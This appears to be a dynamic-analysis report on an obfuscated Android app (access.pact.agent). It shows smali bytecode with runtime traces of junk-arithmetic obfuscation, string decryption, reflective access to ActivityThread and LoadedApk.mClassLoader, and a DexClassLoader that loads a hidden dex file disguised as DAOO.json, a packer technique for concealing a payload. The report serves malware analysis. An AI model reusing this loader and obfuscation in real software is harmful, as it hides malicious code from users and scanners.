                                            270sget v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            271const v1, 0xe56c8
                                            272shr-int/2addr v0, v1
                                            273sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            274return-void
                                            Cross References
                                            APIs
                                            • java.lang.Class.getMethod
                                            • java.lang.reflect.Method.invoke
                                            Strings
                                            • currentActivityThread
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/lang/reflect/InvocationTargetException;,
                                            3Ljava/lang/IllegalAccessException;,
                                            4Ljava/lang/NoSuchMethodException;
                                            5}
                                            6.end annotation
                                            7sget v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            8const v1, 0x86fb
                                            9add-int/2addr v0, v1
                                            10const/4 v1, 0x0
                                            11move v2, v0
                                            12const/4 v0, 0x0
                                            13goto_9: sget v3, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            14if-ge v0, v3, :cond_13
                                            15iget v3, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            16add-int/2addr v2, v3
                                            17add-int/lit8 v0, v0, 0x1
                                            18goto/16 :goto_9
                                            19cond_13: sget-short v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->TuuLMDMISOl_25:S
                                            20mul-int v2, v2, v0
                                            21int-to-long v2, v2
                                            22iput-wide v2, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            23new-array v0, v1, [Ljava/lang/Class;
                                            25invoke-static {}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->frontmirror()Ljava/lang/String;
                                            • Time: 1498863
                                              • Return:
                                                • currentActivityThread
                                            26move-result-object v2
                                            28invoke-virtual {p1, v2, v0}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                            • Time: 1498866
                                              • This:
                                                • class android.app.ActivityThread
                                                • getName:android.app.ActivityThread
                                              • p0: currentActivityThread
                                              • p1: [Ljava.lang.Class;@9436684
                                              • Return:
                                                • public static android.app.ActivityThread android.app.ActivityThread.currentActivityThread()
                                                • getName: currentActivityThread
                                            29move-result-object p1
                                            30const/4 v0, 0x0
                                            31new-array v1, v1, [Ljava/lang/Object;
                                            33invoke-virtual {p1, v0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                            • Reflective invoke: android.app.ActivityThread.currentActivityThread
                                              • Return:
                                                • android.app.ActivityThread@1689333
                                            • Time: 1498879
                                              • This:
                                                • public static android.app.ActivityThread android.app.ActivityThread.currentActivityThread()
                                                • getName:currentActivityThread
                                              • p0: null
                                              • p1: [Ljava.lang.Object;@3b48aa2
                                              • Return:
                                                • android.app.ActivityThread@1689333
                                            34move-result-object p1
                                            35return-object p1
                                            Cross References
                                            APIs
                                            • java.lang.Class.getDeclaredField
                                            Strings
                                            • mClassLoader
                                            • mPackages
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/lang/NoSuchFieldException;
                                            3}
                                            4.end annotation
                                            5sget v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            6sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            7iget v2, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            8const v3, 0x6ebbd
                                            9and-int/2addr v0, v3
                                            10and-int/2addr v0, v1
                                            11xor-int/2addr v0, v2
                                            12int-to-float v0, v0
                                            13sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            14const/16 v0, 0x24
                                            15sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            16sget v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            17const v1, 0x495e0220 # 909346.0f
                                            18mul-float v1, v1, v0
                                            19div-float/2addr v1, v0
                                            20const v0, 0x490e4c20 # 582850.0f
                                            21add-float/2addr v1, v0
                                            22sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            23const/4 v0, 0x0
                                            24goto_22: const/16 v1, 0xe
                                            25if-eq v0, v1, :cond_e0
                                            26iget v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            27sget v2, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            28xor-int v3, v1, v2
                                            29int-to-float v3, v3
                                            30sput v3, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            31const v3, 0x52d1d
                                            32sget v4, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            33mul-int v4, v4, v3
                                            34and-int v3, v1, v4
                                            35sput v3, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            36const v3, 0x90e34
                                            37mul-int v1, v1, v3
                                            38iput v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            39const v1, 0x52614
                                            40iget v3, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            41const v4, 0xa8e7f
                                            42mul-int v2, v2, v3
                                            43div-int/2addr v2, v4
                                            44sub-int/2addr v1, v2
                                            45sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            46sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            47const v2, 0x39399
                                            48if-ge v1, v2, :cond_77
                                            49const v2, 0x473dd
                                            50div-int v1, v3, v1
                                            51and-int/2addr v1, v2
                                            52sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            53const v1, 0xf1011
                                            54sget v2, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            55div-int/2addr v1, v2
                                            56and-int/2addr v1, v3
                                            57int-to-float v1, v1
                                            58sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            59const v1, 0x82163
                                            60add-int/2addr v1, v3
                                            61sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            62const v1, 0x2852f
                                            63div-int/2addr v1, v3
                                            64xor-int/2addr v1, v2
                                            65int-to-float v1, v1
                                            66sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            67goto/16 :goto_dc
                                            68cond_77: const v2, 0x1db86
                                            69if-ne v1, v2, :cond_c3
                                            70const v2, 0x96ff1
                                            71if-ne v3, v2, :cond_82
                                            72goto/16 :goto_c3
                                            73cond_82: const v2, 0x4b781
                                            74if-ge v1, v2, :cond_a0
                                            75const v2, 0x57db4
                                            76if-gt v3, v2, :cond_8d
                                            77goto/16 :goto_a0
                                            78cond_8d: const v2, 0x18840
                                            79if-lt v1, v2, :cond_97
                                            80const v1, 0x7d9f8
                                            81if-ge v3, v1, :cond_dc
                                            82cond_97: const/16 v1, 0x3f
                                            83sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            84const/16 v1, 0x79
                                            85sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            86goto/16 :goto_dc
                                            87goto_a0: const/16 v1, 0x18
                                            88iput v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            89const/16 v1, 0xca
                                            90iput v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            91const v1, 0x65568
                                            92iput v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            93iget v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            94const v2, 0x9538d
                                            95shr-int/2addr v1, v2
                                            96iput v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            97const v1, 0xcec46
                                            98sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            99sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            100const v2, 0xe2adc
                                            101ushr-int/2addr v1, v2
                                            102sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            103goto/16 :goto_dc
                                            104goto_c3: const/16 v1, 0x7d
                                            105sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            106const v1, 0x80e51
                                            107sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            108sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            109const v2, 0x33623
                                            110shr-int/2addr v1, v2
                                            111sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            112sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            113const v2, 0x47cc7d80 # 104699.0f
                                            114add-float/2addr v1, v2
                                            115sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            116goto_dc: add-int/lit8 v0, v0, 0x1
                                            117goto/16 :goto_22
                                            118cond_e0:
                                            119invoke-virtual {p1, p2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                            • Time: 1498858
                                              • This:
                                                • class android.app.ActivityThread
                                                • getName:android.app.ActivityThread
                                              • p0: mPackages
                                              • Return:
                                                • final android.util.ArrayMap android.app.ActivityThread.mPackages
                                                • getName: mPackages
                                            • Time: 1498919
                                              • This:
                                                • class android.app.LoadedApk
                                                • getName:android.app.LoadedApk
                                              • p0: mClassLoader
                                              • Return:
                                                • private java.lang.ClassLoader android.app.LoadedApk.mClassLoader
                                                • getName: mClassLoader
                                            120move-result-object p1
                                            121return-object p1
                                            Cross References
                                            APIs
                                            • dalvik.system.DexClassLoader.<init>
                                            Strings
                                            • /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                            • /data/user/0/access.pact.agent/app_DynamicOptDex
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/lang/IllegalAccessException;
                                            3}
                                            4.end annotation
                                            5const/16 v0, 0x2e
                                            6sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            7const v0, 0x3be1f
                                            8sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            9sget v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            10const v1, 0x36896
                                            11shr-int/2addr v0, v1
                                            12sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            13const/16 v0, 0x3d
                                            14sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            15const/16 v0, 0x13
                                            16new-array v0, v0, [I
                                            17fill-array-data v0, :array_48
                                            18array-length v1, v0
                                            19const/4 v2, 0x0
                                            20goto_1e: if-ge v2, v1, :cond_3c
                                            21aget v3, v0, v2
                                            22sget v4, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            23add-int/2addr v3, v4
                                            24const v5, 0x8dfb7
                                            25xor-int/2addr v3, v5
                                            26iput v3, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            27iget v3, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            28const v5, 0x86f5f
                                            29const v6, 0xa1b48
                                            30and-int/2addr v3, v5
                                            31xor-int/2addr v3, v4
                                            32or-int/2addr v3, v6
                                            33int-to-float v3, v3
                                            34sput v3, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            35add-int/lit8 v2, v2, 0x1
                                            36goto/16 :goto_1e
                                            37cond_3c: new-instance v0, Ldalvik/system/DexClassLoader;
                                            39invoke-virtual {p0, p4, p5}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->casualpattern(Ljava/lang/reflect/Field;Ljava/lang/ref/WeakReference;)Ljava/lang/Object;
                                            40move-result-object p4
                                            41check-cast p4, Ljava/lang/ClassLoader;
                                            43invoke-direct {v0, p1, p2, p3, p4}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                                            • Time: 1515367
                                              • This:
                                                • dalvik.system.DexClassLoader[DexPathList[[zip file "/data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json"],nativeLibraryDirectories=[, /system/lib, /vendor/lib]]]
                                              • p0: /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                              • p1: /data/user/0/access.pact.agent/app_DynamicOptDex
                                              • p2: ""
                                              • p3: dalvik.system.PathClassLoader[DexPathList[[zip file "/data/app/access.pact.agent-1/base.apk"],nativeLibraryDirectories=[/data/app/access.pact.agent-1/lib/x86, /system/lib, /vendor/lib]]]
                                              • Return:
                                                • dalvik.system.DexClassLoader[DexPathList[[zip file "/data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json"],nativeLibraryDirectories=[, /system/lib, /vendor/lib]]]
                                            44return-object v0
                                            Cross References
                                            APIs
                                            Strings
                                            • mClassLoader
                                            Position Instruction Meta Information
                                            0const/16 v0, 0xf
                                            1new-array v0, v0, [I
                                            2fill-array-data v0, :array_fe
                                            3const/4 v1, 0x2
                                            4aget v2, v0, v1
                                            5const/4 v3, 0x6
                                            6aget v3, v0, v3
                                            7const/4 v4, 0x0
                                            8aget v0, v0, v4
                                            9mul-int v2, v2, v3
                                            10add-int/2addr v2, v0
                                            11const/16 v0, 0x3e8
                                            12const v3, 0xdb9d9
                                            13const v5, 0xf33f7
                                            14if-gt v2, v5, :cond_21
                                            15const v0, 0x6517c000
                                            16goto/16 :goto_2a
                                            17cond_21: const v5, 0xbaba6
                                            18if-eq v2, v5, :cond_27
                                            19goto/16 :goto_2a
                                            20cond_27: const v3, 0xdbdc1
                                            21goto_2a: const/16 v5, 0xc
                                            22new-array v6, v5, [B
                                            23fill-array-data v6, :array_120
                                            24const v7, 0xd7517
                                            25if-lt v0, v7, :cond_37
                                            26goto/16 :goto_5b
                                            27cond_37: const/16 v7, 0x41c5
                                            28if-gt v0, v7, :cond_4f
                                            29const v7, 0x7bb6d
                                            30if-ne v3, v7, :cond_4f
                                            31const v7, 0x34ea5
                                            32mul-int v3, v3, v7
                                            33div-int/2addr v0, v2
                                            34sub-int/2addr v3, v0
                                            35const/16 v0, 0x31
                                            36div-int v2, v0, v3
                                            37move v0, v2
                                            38const/16 v3, 0x31
                                            39goto/16 :goto_5b
                                            40cond_4f: const v2, 0xd2a10
                                            41if-ge v0, v2, :cond_59
                                            42const v2, 0xb556e
                                            43if-lt v3, v2, :cond_5b
                                            44cond_59: const/16 v0, 0x2e
                                            45cond_5b: new-array v2, v5, [B
                                            46const/16 v7, 0x12
                                            47new-array v7, v7, [I
                                            48fill-array-data v7, :array_12a
                                            49move v7, v3
                                            50move v3, v0
                                            51const/4 v0, 0x0
                                            52goto_67: const/16 v8, 0x1f
                                            53if-eq v0, v8, :cond_72
                                            54const/16 v7, 0x3b
                                            55const/16 v3, 0x2a
                                            56add-int/lit8 v0, v0, 0x1
                                            57goto/16 :goto_67
                                            58cond_72: new-array v0, v1, [B
                                            59fill-array-data v0, :array_152
                                            60const/4 v1, 0x0
                                            61goto_78: const/16 v8, 0x1d
                                            62if-ge v1, v8, :cond_81
                                            63const/16 v3, 0x885
                                            64add-int/lit8 v1, v1, 0x1
                                            65goto/16 :goto_78
                                            66cond_81: const v1, 0x24a7e
                                            67if-eq v3, v1, :cond_8b
                                            68const/16 v3, 0x396
                                            69const/16 v1, 0x9e
                                            70goto/16 :goto_91
                                            71cond_8b: const/16 v7, 0x2c
                                            72div-int/lit8 v1, v3, 0x72
                                            73rsub-int/lit8 v1, v1, 0x2c
                                            74goto_91: const v8, 0xd9b18
                                            75if-lt v1, v8, :cond_98
                                            76sub-int/2addr v7, v3
                                            77goto/16 :goto_b3
                                            78cond_98: const v8, 0xce9f0
                                            79if-lt v1, v8, :cond_a7
                                            80const v8, 0x16105
                                            81if-ge v3, v8, :cond_a7
                                            82sub-int/2addr v7, v3
                                            83add-int/2addr v7, v1
                                            84const/16 v3, 0x62
                                            85goto/16 :goto_b3
                                            86cond_a7: const v8, 0x9778c
                                            87if-le v1, v8, :cond_b1
                                            88const v8, 0xb4890
                                            89if-le v3, v8, :cond_b3
                                            90cond_b1: const/16 v1, 0x8c
                                            91cond_b3: move v8, v3
                                            92move v3, v1
                                            93const/4 v1, 0x0
                                            94goto_b6: if-ge v1, v5, :cond_e8
                                            95const v9, 0x2b72c
                                            96if-lt v7, v9, :cond_c3
                                            97const v9, 0xb7ee5
                                            98add-int/2addr v9, v3
                                            99sub-int/2addr v9, v8
                                            100xor-int/2addr v7, v9
                                            101cond_c3: aget-byte v9, v6, v1
                                            102add-int v10, v7, v3
                                            103add-int/2addr v10, v8
                                            104rem-int/lit8 v8, v1, 0x2
                                            105aget-byte v8, v0, v8
                                            106const v11, 0x15d07
                                            107if-lt v7, v11, :cond_d4
                                            108const/16 v7, 0x45
                                            109goto/16 :goto_d6
                                            110cond_d4: const/16 v3, 0x11d
                                            111goto_d6: xor-int/2addr v8, v9
                                            112int-to-byte v8, v8
                                            113aput-byte v8, v2, v1
                                            114const v8, 0x18446
                                            115mul-int v10, v10, v7
                                            116add-int/2addr v8, v10
                                            117const v7, 0x4fbe7
                                            118sub-int/2addr v7, v8
                                            119add-int/2addr v7, v3
                                            120add-int/lit8 v1, v1, 0x1
                                            121goto/16 :goto_b6
                                            122cond_e8: const/16 v0, 0xb
                                            123new-array v0, v0, [I
                                            124fill-array-data v0, :array_158
                                            125array-length v1, v0
                                            126const/4 v5, 0x0
                                            127goto_f1: if-ge v5, v1, :cond_f9
                                            128aget v6, v0, v5
                                            129add-int/lit8 v5, v5, 0x1
                                            130const/4 v8, 0x0
                                            131goto/16 :goto_f1
                                            132cond_f9:
                                            133invoke-static {v8, v3, v2}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->schemesun(II[B)Ljava/lang/String;
                                            • Time: 1498913
                                              • This:
                                                • mClassLoader
                                              • p0: [B@3b09e25
                                              • p0: mClassLoader
                                              • p0: 6D436C6173734C6F61646572
                                              • Return:
                                                • mClassLoader
                                            134move-result-object v0
                                            135return-object v0
                                            136array_152: nop
                                            Cross References
                                            APIs
                                            • java.lang.reflect.Field.get
                                            • java.util.Map.get
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/lang/IllegalAccessException;,
                                            3Ljava/lang/NoSuchMethodException;,
                                            4Ljava/lang/reflect/InvocationTargetException;
                                            5}
                                            6.end annotation
                                            7sget v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            8sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            9const v2, 0xad3c1
                                            10if-ne v0, v2, :cond_17
                                            11const/16 v0, 0x20
                                            12iput v0, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            13iget v0, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            14const v1, 0x588f2
                                            15mul-int v0, v0, v1
                                            16sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            17goto/16 :goto_46
                                            18cond_17: const v2, 0x75f5f
                                            19if-lt v0, v2, :cond_21
                                            20const v0, 0x7de4e
                                            21if-gt v1, v0, :cond_46
                                            22cond_21: const/16 v0, 0x3b
                                            23sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            24const v0, 0x76cf0
                                            25sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            26iget v2, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            27const v3, 0x267f8
                                            28and-int/2addr v0, v1
                                            29and-int/2addr v0, v2
                                            30xor-int/2addr v0, v3
                                            31int-to-float v0, v0
                                            32sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            33const/16 v0, 0x5d
                                            34sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            35const v0, 0x4d924
                                            36sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            37sget v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            38const v1, 0x7295a
                                            39shl-int/2addr v0, v1
                                            40sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            41goto_46:
                                            42invoke-virtual {p0, p2}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->wisecement(Ljava/lang/Class;)Ljava/lang/Object;
                                            43move-result-object p2
                                            45invoke-virtual {p1, p2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                            • Time: 1498886
                                              • This:
                                                • final android.util.ArrayMap android.app.ActivityThread.mPackages
                                                • getName:mPackages
                                              • p0: android.app.ActivityThread@1689333
                                              • Return:
                                                • {access.pact.agent=java.lang.ref.WeakReference@c932469}
                                            46move-result-object p1
                                            47check-cast p1, Ljava/util/Map;
                                            49invoke-virtual {p0, p3}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->loungeeager(Landroid/content/Context;)Ljava/lang/String;
                                            50move-result-object p2
                                            52invoke-interface {p1, p2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                            53move-result-object p1
                                            54check-cast p1, Ljava/lang/ref/WeakReference;
                                            55return-object p1
                                            Cross References
                                            APIs
                                            • java.lang.ref.WeakReference.get
                                            • java.lang.reflect.Field.get
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/lang/IllegalAccessException;
                                            3}
                                            4.end annotation
                                            5const/4 v0, 0x0
                                            6goto_1: const/16 v1, 0xf
                                            7if-ge v0, v1, :cond_20
                                            8const v1, 0x919ad
                                            9iput v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            10iget v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            11const v2, 0x13b0b
                                            12shl-int/2addr v1, v2
                                            13iput v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            14iget v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
